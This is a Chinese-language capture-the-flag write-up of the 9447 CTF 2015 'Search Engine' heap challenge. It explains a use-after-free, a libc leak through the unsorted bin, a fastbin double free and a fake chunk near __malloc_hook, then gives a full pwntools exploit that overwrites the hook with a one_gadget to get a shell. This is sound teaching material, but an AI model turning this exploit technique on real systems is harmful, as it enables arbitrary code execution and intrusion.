Arbitrary Alloc 2015 9447 CTF:Search Engine
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2015_9447ctf_search-engine
grxer@Ubuntu16 ~/D/p/heap> checksec search
[*] '/home/grxer/Desktop/pwn/heap/search'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
这道题静态分析起来挺复杂的,自定义的输入函数,各种阻力,最后配合gdb动态才搞明白
index_sentence()读取用户输入size长度的sentence,他还会用下面的结构把每个句子的单词分开构成一个单链表,单链表的content是从sentence地址上原数据地址,表头在0x6020B8,单链表表头是最后一个单词
00000000 word_struct struc ; (sizeof=0x28, mappedto_6)
00000000 content dq ?单词
00000008 size dd ?单词
0000000C padding1 dd ?
00000010 sentence_ptr dq ?句子 ; offset
00000018 len dd ?整个句子
0000001C padding2 dd ?
00000020 next dq ? ; offset
00000028 word_struct ends
这里由于空间复用其实heap manger给我们0x30大小chunk
search_word()读取一个输入长度比较i->size == num && !memcmp(i->content, v1, num)
memset(i->sentence_ptr, 0, i->len);
free(i->sentence_ptr);
puts("Deleted!");
这里找到之前把整个句子都给置零了,也没有free后置null,但是我们的struct地址都还在用,就从这里开始把
unsorted bin泄露libc
smallbin_sentence = 'a' * 0x85 + ' b'
index_sentence(smallbin_sentence)
search_word(b'b')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')
search_word(b'\x00')
我们这样会申请到三个堆,一个sentence两个word,‘ b’->‘a’*0x85,我们search(‘b’),释放掉sentence堆,这个时候申请到的chunk大小0x90超过了fastbin,进入unsortbin,unsorted bin是个双向循环列表所以释放chunk的fd和bk会填上,unsortedbin的开始
由于释放后单链表还存在我们再次search,if ( *i->sentence_ptr )
i->sentence_ptr是sentence chunk的fd指针被填上了unsorted bin绕过,为了绕过i->size == num && !memcmp(i->content, v1, num)
,第一个我们的size还是1,由于memset(i->sentence_ptr, 0, i->len)会把整个句子置零,搜索0即可绕过,fwrite(i->sentence_ptr, 1uLL, i->len, stdout);
会配合我们输出处bk和fd
unsorted bin地址距离main_arena,main_arena是glibc里的一个全局变量,偏移固定0x3C4B20,所以我们可以得到libc
fastbin循环链表
由于free后没有置零,我们可以doublefree,构成循环链表
index_sentence(b'a' * 0x5e + b' d')
index_sentence(b'b' * 0x5e + b' d')
index_sentence(b'c' * 0x5e + b' d')
# gdb.attach(io)
search_word('d')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')
都free后a->b->c->0
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y') #b
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'n') #a
io.recvuntil('Delete this sentence (y/n)?\n')
io.sendline(b'n') #first chunk
再次free,这里的c是过不了if ( *i->sentence_ptr )检测的因为他是第一个释放的chunk,fastbin单链表只使用fd执行单向链接,所以她的fd为0
只需要将b释放这样b->fd指向a,且a的fd指向b,循环链表
字节错位 Arbitrary Alloc and malloc hook
有了循环链表我们就可以伪造或者找一个fakechunk进行申请
有了main_arena地址后,我们想mallochook,malloc__hook在main_arean的上面是0x10字节处,
我们直接用find_fake_fast在上面利用字节错位找到一个chunk
fakechunk偏移为main_arean的上面-0x33
##define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
这里0x7f fastbin_index后为5,0x70的chunk,这里由于fastbin是分组的单链表,只有相同大小的freechunk才会构成单链表,所以我们需要在前面构成循环链表的大小为0x70,即申请0x60,同时我们需要在申请0x60大小申请到这个fakechunk
fastbinsY[] | x86(size_t=4) | x64(size_t=8) |
---|---|---|
0 | 0x10 | 0x20 |
1 | 0x18 | 0x30 |
2 | 0x20 | 0x40 |
3 | 0x28 | 0x50 |
4 | 0x30 | 0x60 |
5 | 0x38 | 0x70 |
6 | 0x40 | 0x80 |
fakechunk=main_arena-0x33
fake_chunk = p64(fakechunk).ljust(0x60,b'\x00')
index_sentence(fake_chunk)
这次会申请到b,这样我们可以控制b的fd指针为fakechunk
再申请两次0x60大小chunk就可以申请到fakechunk
fakechunk距离malloc_hook0x23,我们是往fakechunk+0x10写数据,所以需要0x13大小padding
写入onegadget
grxer@grxer ~/Desktop> one_gadget ./libc-2.23.so
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
index_sentence(b'a' * 0x60)
index_sentence(b'b' * 0x60)
one_gadget_addr = libc + 0xf1247
payload = b'a' * 0x13 + p64(one_gadget_addr)
payload = payload.ljust(0x60, b'\x00')
index_sentence(payload)
拿到shell,跑路喽
EXP
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./search'
elf = ELF(pwnfile)
rop = ROP('/lib/x86_64-linux-gnu/libc.so.6')
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))
def index_sentence(s):
io.recvuntil(b"3: Quit\n")
io.sendline(b'2')
io.recvuntil(b"Enter the sentence size:\n")
io.sendline(str(len(s)).encode())
io.send(s)
def search_word(word):
io.recvuntil(b"3: Quit\n")
io.sendline(b'1')
io.recvuntil(b"Enter the word size:\n")
io.sendline(str(len(word)).encode())
io.send(word)
# db('b *0x400B41')#judge
# db('b *0x0400B41')# rcx
# db('b *0x400BED')
smallbin_sentence = b'a' * 0x85 + b' b'
index_sentence(smallbin_sentence)
search_word(b'b')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')
search_word(b'\x00')
io.recvuntil(b'Found 135: ')
unsortbin_addr = u64(io.recv(8))
io.recvuntil('Delete this sentence (y/n)?\n')
io.sendline('n')
main_arena=unsortbin_addr-88
libc=main_arena-0x3C4B20
p('libc',libc)
index_sentence(b'a' * 0x5e + b' d')
index_sentence(b'b' * 0x5e + b' d')
index_sentence(b'c' * 0x5e + b' d')
# gdb.attach(io)
search_word('d')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')
# gdb.attach(io)
search_word(b'\x00')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y') #b
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'n') #a
io.recvuntil('Delete this sentence (y/n)?\n')
io.sendline(b'n') #first chunk
# gdb.attach(io)
fakechunk=main_arena-0x33
fake_chunk = p64(fakechunk).ljust(0x60,b'\x00')
index_sentence(fake_chunk)
# gdb.attach(io)
index_sentence(b'a' * 0x60)
index_sentence(b'b' * 0x60)
one_gadget_addr = libc + 0xf1247
payload = b'a' * 0x13 + p64(one_gadget_addr)
payload = payload.ljust(0x60, b'\x00')
index_sentence(payload)
io.interactive()